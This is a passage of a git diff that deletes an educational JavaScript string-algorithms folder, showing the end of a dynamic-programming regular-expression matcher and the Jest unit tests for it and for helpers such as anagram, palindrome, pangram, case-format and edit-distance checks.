-        if (pattern[patternIndex] === ZERO_OR_MORE_CHARS) {
-            matchMatrix[0][columnIndex] = matchMatrix[0][columnIndex - 2];
-        } else {
-            matchMatrix[0][columnIndex] = false;
-        }
-    }
-    // Let's fill the first column with false. That would mean that empty pattern
-    // can't match any non-empty string.
-    //
-    // Example:
-    // string: 'ab'
-    // pattern: ''
-    for (let rowIndex = 1; rowIndex <= string.length; rowIndex += 1) {
-        matchMatrix[rowIndex][0] = false;
-    }
-    // Not let's go through every letter of the pattern and every letter of
-    // the string and compare them one by one.
-    for (let rowIndex = 1; rowIndex <= string.length; rowIndex += 1) {
-        for (let columnIndex = 1; columnIndex <= pattern.length; columnIndex += 1) {
-            // Take into account that fact that matrix contain one extra column and row.
-            const stringIndex = rowIndex - 1;
-            const patternIndex = columnIndex - 1;
-            if (pattern[patternIndex] === ZERO_OR_MORE_CHARS) {
-                /*
-                 * In case if current pattern character is special '*' character we have
-                 * two options:
-                 *
-                 * 1. Since * char allows it previous char to not be presented in a string we
-                 * need to check if string matches the pattern without '*' char and without the
-                 * char that goes before '*'. That would mean to go two positions left on the
-                 * same row.
-                 *
-                 * 2. Since * char allows it previous char to be presented in a string many times we
-                 * need to check if char before * is the same as current string char. If they are the
-                 * same that would mean that current string matches the current pattern in case if
-                 * the string WITHOUT current char matches the same pattern. This would mean to go
-                 * one position up in the same row.
-                 */
-                if (matchMatrix[rowIndex][columnIndex - 2] === true) {
-                    matchMatrix[rowIndex][columnIndex] = true;
-                } else if (
-                    (pattern[patternIndex - 1] === string[stringIndex] || pattern[patternIndex - 1] === ANY_CHAR) &&
-                    matchMatrix[rowIndex - 1][columnIndex] === true
-                ) {
-                    matchMatrix[rowIndex][columnIndex] = true;
-                } else {
-                    matchMatrix[rowIndex][columnIndex] = false;
-                }
-            } else if (pattern[patternIndex] === string[stringIndex] || pattern[patternIndex] === ANY_CHAR) {
-                /*
-                 * In case if current pattern char is the same as current string char
-                 * or it may be any character (in case if pattern contains '.' char)
-                 * we need to check if there was a match for the pattern and for the
-                 * string by WITHOUT current char. This would mean that we may copy
-                 * left-top diagonal value.
-                 *
-                 * Example:
-                 *
-                 *   a b
-                 * a 1 -
-                 * b - 1
-                 */
-                matchMatrix[rowIndex][columnIndex] = matchMatrix[rowIndex - 1][columnIndex - 1];
-            } else {
-                /*
-                 * In case if pattern char and string char are different we may
-                 * treat this case as "no-match".
-                 *
-                 * Example:
-                 *
-                 *   a b
-                 * a - -
-                 * c - 0
-                 */
-                matchMatrix[rowIndex][columnIndex] = false;
-            }
-        }
-    }
-    return matchMatrix[string.length][pattern.length];
-}
diff --git a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/test/regularExpressionMatching.test.js b/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/test/regularExpressionMatching.test.js
deleted file mode 100644
index 86c7a47091..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/regular-expression-matching/test/regularExpressionMatching.test.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import regularExpressionMatching from '../regularExpressionMatching';
-describe('regularExpressionMatching', () => {
-    it('should match regular expressions in a string', () => {
-        expect(regularExpressionMatching('', '')).toBe(true);
-        expect(regularExpressionMatching('a', 'a')).toBe(true);
-        expect(regularExpressionMatching('aa', 'aa')).toBe(true);
-        expect(regularExpressionMatching('aab', 'aab')).toBe(true);
-        expect(regularExpressionMatching('aab', 'aa.')).toBe(true);
-        expect(regularExpressionMatching('aab', '.a.')).toBe(true);
-        expect(regularExpressionMatching('aab', '...')).toBe(true);
-        expect(regularExpressionMatching('a', 'a*')).toBe(true);
-        expect(regularExpressionMatching('aaa', 'a*')).toBe(true);
-        expect(regularExpressionMatching('aaab', 'a*b')).toBe(true);
-        expect(regularExpressionMatching('aaabb', 'a*b*')).toBe(true);
-        expect(regularExpressionMatching('aaabb', 'a*b*c*')).toBe(true);
-        expect(regularExpressionMatching('', 'a*')).toBe(true);
-        expect(regularExpressionMatching('xaabyc', 'xa*b.c')).toBe(true);
-        expect(regularExpressionMatching('aab', 'c*a*b*')).toBe(true);
-        expect(regularExpressionMatching('mississippi', 'mis*is*.p*.')).toBe(true);
-        expect(regularExpressionMatching('ab', '.*')).toBe(true);
-        expect(regularExpressionMatching('', 'a')).toBe(false);
-        expect(regularExpressionMatching('a', '')).toBe(false);
-        expect(regularExpressionMatching('aab', 'aa')).toBe(false);
-        expect(regularExpressionMatching('aab', 'baa')).toBe(false);
-        expect(regularExpressionMatching('aabc', '...')).toBe(false);
-        expect(regularExpressionMatching('aaabbdd', 'a*b*c*')).toBe(false);
-        expect(regularExpressionMatching('mississippi', 'mis*is*p*.')).toBe(false);
-        expect(regularExpressionMatching('ab', 'a*')).toBe(false);
-        expect(regularExpressionMatching('abba', 'a*b*.c')).toBe(false);
-        expect(regularExpressionMatching('abba', '.*c')).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/AlphaNumericPalindrome.test.js b/docs/content/DS_ALGO/algorithms/string/test/AlphaNumericPalindrome.test.js
deleted file mode 100644
index a4d0448175..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/AlphaNumericPalindrome.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { alphaNumericPlaindrome } from '../AlphaNumericPalindrome';
-test('should return true if the given string has alphanumeric characters that are palindrom irrespective of case and symbols', () => {
-    expect(alphaNumericPlaindrome('eye')).toBe(true);
-});
-test('should return true if the given string has alphanumeric characters that are palindrom irrespective of case and symbols', () => {
-    expect(alphaNumericPlaindrome('0_0 (: /-:) 0-0')).toBe(true);
-});
-test('should return true if the given string has alphanumeric characters that are palindrom irrespective of case and symbols', () => {
-    expect(alphaNumericPlaindrome('five|_/|four')).toBe(false);
-});
-test('should return true if the given string has alphanumeric characters that are palindrom irrespective of case and symbols', () => {
-    expect(alphaNumericPlaindrome('A man, a plan, a canal. Panama')).toBe(true);
-});
-test('should return true if the given string has alphanumeric characters that are palindrom irrespective of case and symbols', () => {
-    expect(alphaNumericPlaindrome('1 eye for of 1 eye.')).toBe(false);
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckAnagram.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckAnagram.test.js
deleted file mode 100644
index b7aa9e7e23..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckAnagram.test.js
+++ /dev/null
@@ -1,143 +0,0 @@
-import { checkAnagramMap, checkAnagramRegex } from '../CheckAnagram';
-describe('Testing checkAnagramRegex', () => {
-    it.each`
-        inputOne              | inputTwo
-        ${123456}             | ${'abcd'}
-        ${[1, 2, 3, 4, 5, 6]} | ${'abcd'}
-        ${{ test: 'test' }}   | ${'abcd'}
-        ${'abcd'}             | ${123456}
-        ${'abcd'}             | ${[1, 2, 3, 4, 5, 6]}
-        ${'abcd'}             | ${{ test: 'test' }}
-    `('expects to throw the type Error given values $inputOne and $inputTwo', ({ inputOne, inputTwo }) => {
-        expect(() => checkAnagramRegex(inputOne, inputTwo)).toThrowError();
-    });
-    it('expects to return false if the arguments have different lengths', () => {
-        const SUT = checkAnagramRegex('abs', 'abds');
-        expect(SUT).toBe(false);
-    });
-    it('expects to return false if the arguments are not anagrams', () => {
-        const SUT = checkAnagramRegex('abcs', 'abds');
-        expect(SUT).toBe(false);
-    });
-    it('expects to return true if the arguments are anagrams', () => {
-        const SUT = checkAnagramRegex('abcd', 'bcad');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments of length 1 and are the same letter', () => {
-        const SUT = checkAnagramRegex('a', 'a');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments of are both empty strings', () => {
-        const SUT = checkAnagramRegex('', '');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams with an odd length', () => {
-        const SUT = checkAnagramRegex('abcde', 'edcab');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams with an even length', () => {
-        const SUT = checkAnagramRegex('abcdef', 'fedcab');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return false if either argument is an empty string while the other is not', () => {
-        const SUT = checkAnagramRegex('', 'edcab');
-        expect(SUT).toBe(false);
-        const SUT2 = checkAnagramRegex('edcab', '');
-        expect(SUT2).toBe(false);
-    });
-    it('expects to return true if the arguments contain the same letters but have unequal case', () => {
-        const SUT = checkAnagramRegex('ABDCE', 'abcde');
-        expect(SUT).toBe(true);
-        const SUT2 = checkAnagramRegex('AbCdE', 'aBCdE');
-        expect(SUT2).toBe(true);
-        const SUT3 = checkAnagramRegex('Eleven plus two', 'Twelve plus one');
-        expect(SUT3).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain number characters', () => {
-        const SUT = checkAnagramRegex('a1b2', '12ba');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain space characters', () => {
-        const SUT = checkAnagramRegex('a1 b2', '1 2ba');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain punctuation characters', () => {
-        const SUT = checkAnagramRegex('a!1b@2', '1@2ba!');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return false if the arguments contain the same letters but contain a different amount of space characters', () => {
-        const SUT = checkAnagramRegex('ea        cb', 'e cba');
-        expect(SUT).toBe(false);
-    });
-});
-describe('Testing checkAnagramMap', () => {
-    it.each`
-        inputOne              | inputTwo
-        ${123456}             | ${'abcd'}
-        ${[1, 2, 3, 4, 5, 6]} | ${'abcd'}
-        ${{ test: 'test' }}   | ${'abcd'}
-        ${'abcd'}             | ${123456}
-        ${'abcd'}             | ${[1, 2, 3, 4, 5, 6]}
-        ${'abcd'}             | ${{ test: 'test' }}
-    `('expects to throw the type Error given values $inputOne and $inputTwo', ({ inputOne, inputTwo }) => {
-        expect(() => checkAnagramMap(inputOne, inputTwo)).toThrowError();
-    });
-    it('expects to return false if the arguments have different lengths', () => {
-        const SUT = checkAnagramMap('abs', 'abds');
-        expect(SUT).toBe(false);
-    });
-    it('expects to return false if the arguments are not anagrams', () => {
-        const SUT = checkAnagramMap('abcs', 'abds');
-        expect(SUT).toBe(false);
-    });
-    it('expects to return true if the arguments are anagrams', () => {
-        const SUT = checkAnagramMap('abcd', 'bcad');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments of length 1 and are the same letter', () => {
-        const SUT = checkAnagramMap('a', 'a');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments of are both empty strings', () => {
-        const SUT = checkAnagramMap('', '');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams with an odd length', () => {
-        const SUT = checkAnagramMap('abcde', 'edcab');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams with an even length', () => {
-        const SUT = checkAnagramMap('abcdef', 'fedcab');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return false if either argument is an empty string while the other is not', () => {
-        const SUT = checkAnagramMap('', 'edcab');
-        expect(SUT).toBe(false);
-        const SUT2 = checkAnagramMap('edcab', '');
-        expect(SUT2).toBe(false);
-    });
-    it('expects to return true if the arguments contain the same letters but have unequal case', () => {
-        const SUT = checkAnagramMap('ABDCE', 'abcde');
-        expect(SUT).toBe(true);
-        const SUT2 = checkAnagramMap('AbCdE', 'aBCdE');
-        expect(SUT2).toBe(true);
-        const SUT3 = checkAnagramMap('Eleven plus two', 'Twelve plus one');
-        expect(SUT3).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain number characters', () => {
-        const SUT = checkAnagramMap('a1b2', '12ba');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain space characters', () => {
-        const SUT = checkAnagramMap('a1 b2', '1 2ba');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return true if the arguments are anagrams and contain punctuation characters', () => {
-        const SUT = checkAnagramMap('a!1b@2', '1@2ba!');
-        expect(SUT).toBe(true);
-    });
-    it('expects to return false if the arguments contain the same letters but contain a different amount of space characters', () => {
-        const SUT = checkAnagramMap('ea        cb', 'e cba');
-        expect(SUT).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckCamelCase.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckCamelCase.test.js
deleted file mode 100644
index 27d2a35eca..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckCamelCase.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { checkCamelCase } from '../CheckCamelCase';
-describe('checkCamelCase', () => {
-    it('expect to throw an error if input is not a string', () => {
-        expect(() => checkCamelCase(null)).toThrow();
-    });
-    it('expects to return true if the input is in camel case format', () => {
-        const value = 'dockerBuild';
-        const result = checkCamelCase(value);
-        expect(result).toBe(true);
-    });
-    it('expects to return false if the input is not in camel case format', () => {
-        const value = 'docker_build';
-        const result = checkCamelCase(value);
-        expect(result).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckFlatCase.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckFlatCase.test.js
deleted file mode 100644
index c18596cdc1..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckFlatCase.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { checkFlatCase } from '../CheckFlatCase';
-describe('checkFlatCase function', () => {
-    it('should return false when the input string is not in flatcase', () => {
-        const actual = checkFlatCase('this is not in flatcase');
-        expect(actual).toBe(false);
-    });
-    it('should return true when the input string is a single letter character', () => {
-        const actual = checkFlatCase('a');
-        expect(actual).toBe(true);
-    });
-    it('should return true when the input string is a string of lowercase letter characters with no spaces', () => {
-        const actual = checkFlatCase('abcdefghijklmnopqrstuvwxyz');
-        expect(actual).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckPalindrome.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckPalindrome.test.js
deleted file mode 100644
index f7d083dce2..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckPalindrome.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { checkPalindrome } from '../CheckPalindrome';
-describe('checkPalindrome', () => {
-    it('expects to return "Palindrome" if the given string is a palindrome', () => {
-        const SUT = checkPalindrome('madam');
-        expect(SUT).toBe('Palindrome');
-    });
-    it('expects to return "Empty string" if the given string is empty', () => {
-        const SUT = checkPalindrome('');
-        expect(SUT).toBe('Empty string');
-    });
-    it('expects to return "Not a string" if the given string is not a string', () => {
-        const SUT = checkPalindrome(123);
-        expect(SUT).toBe('Not a string');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckPangram.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckPangram.test.js
deleted file mode 100644
index c0ae8c2498..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckPangram.test.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import { checkPangramRegex, checkPangramSet } from '../CheckPangram';
-describe('Testing checkPangramRegex function', () => {
-    it('"The quick brown fox jumps over the lazy dog" is a pangram', () => {
-        expect(checkPangramRegex('The quick brown fox jumps over the lazy dog')).toBe(true);
-    });
-    it('"Waltz, bad nymph, for quick jigs vex." is a pangram', () => {
-        expect(checkPangramRegex('Waltz, bad nymph, for quick jigs vex.')).toBe(true);
-    });
-    it('"Jived fox nymph grabs quick waltz." is a pangram', () => {
-        expect(checkPangramRegex('Jived fox nymph grabs quick waltz.')).toBe(true);
-    });
-    it('"My name is Unknown" is NOT a pangram', () => {
-        expect(checkPangramRegex('My name is Unknown')).toBe(false);
-    });
-    it('"The quick brown fox jumps over the la_y dog" is NOT a pangram', () => {
-        expect(checkPangramRegex('The quick brown fox jumps over the la_y dog')).toBe(false);
-    });
-    it('Throws an error if given param is not a string', () => {
-        expect(() => {
-            checkPangramRegex(undefined);
-        }).toThrow('The given value is not a string');
-    });
-});
-describe('Testing checkPangramSet function', () => {
-    it('"The quick brown fox jumps over the lazy dog" is a pangram', () => {
-        expect(checkPangramSet('The quick brown fox jumps over the lazy dog')).toBe(true);
-    });
-    it('"Waltz, bad nymph, for quick jigs vex." is a pangram', () => {
-        expect(checkPangramSet('Waltz, bad nymph, for quick jigs vex.')).toBe(true);
-    });
-    it('"Jived fox nymph grabs quick waltz." is a pangram', () => {
-        expect(checkPangramSet('Jived fox nymph grabs quick waltz.')).toBe(true);
-    });
-    it('"My name is Unknown" is NOT a pangram', () => {
-        expect(checkPangramSet('My name is Unknown')).toBe(false);
-    });
-    it('"The quick brown fox jumps over the la_y dog" is NOT a pangram', () => {
-        expect(checkPangramSet('The quick brown fox jumps over the la_y dog')).toBe(false);
-    });
-    it('Throws an error if given param is not a string', () => {
-        expect(() => {
-            checkPangramSet(undefined);
-        }).toThrow('The given value is not a string');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckSnakeCase.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckSnakeCase.test.js
deleted file mode 100644
index 1daeb28fab..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckSnakeCase.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { checkSnakeCase } from '../CheckSnakeCase';
-describe('checkSnakeCase', () => {
-    it('expect to throw an error if input is not a string', () => {
-        expect(() => checkSnakeCase(0)).toThrow();
-    });
-    it('expects to return true if the input is in snake case format', () => {
-        const value = 'docker_build';
-        const result = checkSnakeCase(value);
-        expect(result).toBe(true);
-    });
-    it('expects to return false if the input is not in snake case format', () => {
-        const value = 'dockerBuild';
-        const result = checkSnakeCase(value);
-        expect(result).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CheckWordOcurrence.test.js b/docs/content/DS_ALGO/algorithms/string/test/CheckWordOcurrence.test.js
deleted file mode 100644
index 62395d94c6..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CheckWordOcurrence.test.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { checkWordOccurrence } from '../CheckWordOccurrence';
-describe('Testing checkWordOccurrence', () => {
-    it('expects throw on insert wrong string', () => {
-        const value = 123;
-        expect(() => checkWordOccurrence(value)).toThrow();
-    });
-    it('expect throw on insert wrong param for case sensitive', () => {
-        const value = 'hello';
-        expect(() => checkWordOccurrence(value, value)).toThrow();
-    });
-    it('check occurrence with case sensitive', () => {
-        const stringToTest = 'The quick brown fox jumps over the lazy dog';
-        const expectResult = { The: 1, quick: 1, brown: 1, fox: 1, jumps: 1, over: 1, the: 1, lazy: 1, dog: 1 };
-        expect(checkWordOccurrence(stringToTest)).toEqual(expectResult);
-    });
-    it('check occurrence with case insensitive', () => {
-        const stringToTest = 'The quick brown fox jumps over the lazy dog';
-        const expectResult = { the: 2, quick: 1, brown: 1, fox: 1, jumps: 1, over: 1, lazy: 1, dog: 1 };
-        expect(checkWordOccurrence(stringToTest, true)).toEqual(expectResult);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CountVowels.test.js b/docs/content/DS_ALGO/algorithms/string/test/CountVowels.test.js
deleted file mode 100644
index 4701683a4a..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CountVowels.test.js
+++ /dev/null
@@ -1,56 +0,0 @@
-import { countVowels } from '../CountVowels';
-describe('CountVowels', () => {
-    it('expect throws on use wrong param', () => {
-        expect(() => countVowels(0)).toThrow();
-    });
-    it('count the vowels in a string', () => {
-        const value = 'Mad World';
-        const count = countVowels(value);
-        expect(count).toBe(2);
-    });
-    it('should return 0 when input is a string with no vowels', () => {
-        const value = 'bcdfgh';
-        const count = countVowels(value);
-        expect(count).toBe(0);
-    });
-    it('should return 1 when input is a string of length 1 that is a vowel', () => {
-        const value = 'a';
-        const count = countVowels(value);
-        expect(count).toBe(1);
-    });
-    it('should return the correct result when input is in all uppercase letters', () => {
-        const value = 'ABCDE';
-        const count = countVowels(value);
-        expect(count).toBe(2);
-    });
-    it('should return the correct result when input is in all lowercase letters', () => {
-        const value = 'abcdefghi';
-        const count = countVowels(value);
-        expect(count).toBe(3);
-    });
-    it('should return the correct result when input string contains spaces', () => {
-        const value = 'abc def   ghi';
-        const count = countVowels(value);
-        expect(count).toBe(3);
-    });
-    it('should return the correct result when input contains number characters', () => {
-        const value = 'a1b2c3';
-        const count = countVowels(value);
-        expect(count).toBe(1);
-    });
-    it('should return the correct result when input contains punctuation characters', () => {
-        const value = 'a!b.ce)';
-        const count = countVowels(value);
-        expect(count).toBe(2);
-    });
-    it('should return 0 when the input is an empty string', () => {
-        const value = '';
-        const count = countVowels(value);
-        expect(count).toBe(0);
-    });
-    it('should count multiple occurrences of the same vowel in the input', () => {
-        const value = 'aaaaa';
-        const count = countVowels(value);
-        expect(count).toBe(5);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/CreatePermutations.test.js b/docs/content/DS_ALGO/algorithms/string/test/CreatePermutations.test.js
deleted file mode 100644
index df9e90262f..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/CreatePermutations.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import { createPermutations } from '../CreatePermutations';
-describe('createPermutations', () => {
-    it('expects to generate 6 different combinations', () => {
-        const text = 'abc';
-        const SUT = createPermutations(text);
-        expect(SUT).toStrictEqual(['abc', 'acb', 'bac', 'bca', 'cab', 'cba']);
-    });
-    it('expects to generate 2 different combinations', () => {
-        const text = '12';
-        const SUT = createPermutations(text);
-        expect(SUT).toStrictEqual(['12', '21']);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/DiceCoefficient.test.js b/docs/content/DS_ALGO/algorithms/string/test/DiceCoefficient.test.js
deleted file mode 100644
index ba0a0e0ef6..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/DiceCoefficient.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { diceCoefficient } from '../DiceCoefficient';
-describe('diceCoefficient', () => {
-    it('should calculate edit distance between two strings', () => {
-        // equal strings return 1 (max possible value)
-        expect(diceCoefficient('abc', 'abc')).toBe(1);
-        expect(diceCoefficient('', '')).toBe(1);
-        // string length needs to be at least 2 (unless equal)
-        expect(diceCoefficient('a', '')).toBe(0);
-        expect(diceCoefficient('', 'a')).toBe(0);
-        expect(diceCoefficient('skate', 'ate')).toBe(0.66);
-        expect(diceCoefficient('money', 'honey')).toBe(0.75);
-        expect(diceCoefficient('love', 'hate')).toBe(0);
-        expect(diceCoefficient('skilled', 'killed')).toBe(0.9);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/FormatPhoneNumber.test.js b/docs/content/DS_ALGO/algorithms/string/test/FormatPhoneNumber.test.js
deleted file mode 100644
index 4f01b61276..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/FormatPhoneNumber.test.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import { formatPhoneNumber } from '../FormatPhoneNumber';
-describe('PhoneNumberFormatting', () => {
-    it('expects to return the formatted phone number', () => {
-        expect(formatPhoneNumber('1234567890')).toEqual('(123) 456-7890');
-    });
-    it('expects to return the formatted phone number', () => {
-        expect(formatPhoneNumber(1234567890)).toEqual('(123) 456-7890');
-    });
-    it('expects to throw a type error', () => {
-        expect(() => {
-            formatPhoneNumber('1234567');
-        }).toThrow('Invalid phone number.');
-    });
-    it('expects to throw a type error', () => {
-        expect(() => {
-            formatPhoneNumber('123456text');
-        }).toThrow('Invalid phone number.');
-    });
-    it('expects to throw a type error', () => {
-        expect(() => {
-            formatPhoneNumber(12345);
-        }).toThrow('Invalid phone number.');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/HammingDistance.test.js b/docs/content/DS_ALGO/algorithms/string/test/HammingDistance.test.js
deleted file mode 100644
index a3ebbc2ce5..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/HammingDistance.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { hammingDistance } from '../HammingDistance';
-test('should throw an error when trying to compare the strings of different length', () => {
-    const compareStringsOfDifferentLength = () => {
-        hammingDistance('abc', 'abcd');
-    };
-    expect(compareStringsOfDifferentLength).toThrowError();
-});
-test('should calculate difference between two strings', () => {
-    expect(hammingDistance('a', 'a')).toBe(0);
-});
-test('should calculate difference between two strings', () => {
-    expect(hammingDistance('abc', 'add')).toBe(2);
-});
-test('should calculate difference between two strings', () => {
-    expect(hammingDistance('1011101', '1001001')).toBe(2);
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/KMPPatternSearching.test.js b/docs/content/DS_ALGO/algorithms/string/test/KMPPatternSearching.test.js
deleted file mode 100644
index 298ba985a8..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/KMPPatternSearching.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import { KMPSearch } from '../KMPPatternSearching';
-describe('KMP Matcher', () => {
-    it('TC1: expects to return matching indices for pattern in text', () => {
-        const text = 'ABC ABCDAB ABCDABCDABDE';
-        const pattern = 'ABCDABD';
-        expect(KMPSearch(text, pattern)).toStrictEqual([15]);
-    });
-    it('TC2: expects to return matching indices for pattern in text', () => {
-        const text = 'ABC ABCDABD ABCDABCDABDE';
-        const pattern = 'ABCDABD';
-        expect(KMPSearch(text, pattern)).toStrictEqual([4, 16]);
-    });
-    it('TC3: expects to return matching indices for pattern in text', () => {
-        const text = 'AAAAA';
-        const pattern = 'AAA';
-        expect(KMPSearch(text, pattern)).toStrictEqual([0, 1, 2]);
-    });
-    it('TC4: expects to return matching indices for pattern in text', () => {
-        const text = 'ABCD';
-        const pattern = 'BA';
-        expect(KMPSearch(text, pattern)).toStrictEqual([]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/LevenshteinDistance.test.js b/docs/content/DS_ALGO/algorithms/string/test/LevenshteinDistance.test.js
deleted file mode 100644
index 7783ff682a..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/LevenshteinDistance.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { levenshteinDistance } from '../LevenshteinDistance';
-describe('levenshteinDistance', () => {
-    it('should calculate edit distance between two strings', () => {
-        expect(levenshteinDistance('', '')).toBe(0);
-        expect(levenshteinDistance('a', '')).toBe(1);
-        expect(levenshteinDistance('', 'a')).toBe(1);
-        expect(levenshteinDistance('abc', '')).toBe(3);
-        expect(levenshteinDistance('', 'abc')).toBe(3);
-        // Should just add I to the beginning.
-        expect(levenshteinDistance('igloo', 'gloo')).toBe(1);
-        // Should just substitute i with o, m with g and insert e at end
-        expect(levenshteinDistance('firm', 'forge')).toBe(3);
-        // Should just substitute f with s, g with t and delete h
-        expect(levenshteinDistance('fighting', 'sitting')).toBe(3);
-        // Should add 4 letters b, a, s and e at the beginning.
-        expect(levenshteinDistance('ball', 'baseball')).toBe(4);
-        // Should delete 4 letters b, a, s and e at the beginning and replace the last 4 with f, o, o, t
-        expect(levenshteinDistance('baseball', 'foot')).toBe(8);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/Lower.test.js b/docs/content/DS_ALGO/algorithms/string/test/Lower.test.js
deleted file mode 100644
index 3f401c4164..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/Lower.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { lower } from '../Lower';
-describe('Testing the Lower function', () => {
-    it('Test 1: Check by invalid type', () => {
-        expect(() => lower(345)).toThrowError();
-        expect(() => lower(true)).toThrowError();
-        expect(() => lower(null)).toThrowError();
-    });
-    it('Test 2: Check by uppercase string', () => {
-        expect(lower('WORLD')).toBe('world');
-        expect(lower('Hello_WORLD')).toBe('hello_world');
-    });
-    it('Test 3: Check by lowercase string', () => {
-        expect(lower('hello')).toBe('hello');
-        expect(lower('hello_world')).toBe('hello_world');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/MaxCharacter.test.js b/docs/content/DS_ALGO/algorithms/string/test/MaxCharacter.test.js
deleted file mode 100644
index 5a2a640cab..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/MaxCharacter.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import { maxCharacter } from '../MaxCharacter';
-describe('Testing the maxCharacter function', () => {
-    it('Expect throw with wrong arg', () => {
-        expect(() => maxCharacter(123)).toThrow();
-    });
-    it('Check the max character in string', () => {
-        const theString = "I can't do that";
-        const maxChar = maxCharacter(theString);
-        expect(maxChar).toBe('t');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/MaxWord.test.js b/docs/content/DS_ALGO/algorithms/string/test/MaxWord.test.js
deleted file mode 100644
index 17763d3df6..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/MaxWord.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import { maxWord } from '../MaxWord';
-describe('Testing the maxWord function', () => {
-    it('Expect throw with non string argument', () => {
-        expect(() => maxWord(10)).toThrow();
-    });
-    it('get the max word', () => {
-        const string = 'be be be be a a banana';
-        const mostOccurringWord = maxWord(string);
-        expect(mostOccurringWord).toBe('be');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/PatternMatching.test.js b/docs/content/DS_ALGO/algorithms/string/test/PatternMatching.test.js
deleted file mode 100644
index 418e231839..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/PatternMatching.test.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import { checkIfPatternExists } from '../PatternMatching';
-describe('checkIfPatternExists', () => {
-    it('expects to find a pattern with correct input', () => {
-        const text = 'AABAACAADAABAAAABAA';
-        const pattern = 'AABA';
-        const SUT = checkIfPatternExists(text.toLowerCase(), pattern.toLowerCase());
-        expect(SUT).toBe('Given pattern is found at index 0');
-    });
-    it('expects to return a message when there is no pattern', () => {
-        const text = 'ABCDEFG';
-        const pattern = 'AEG';
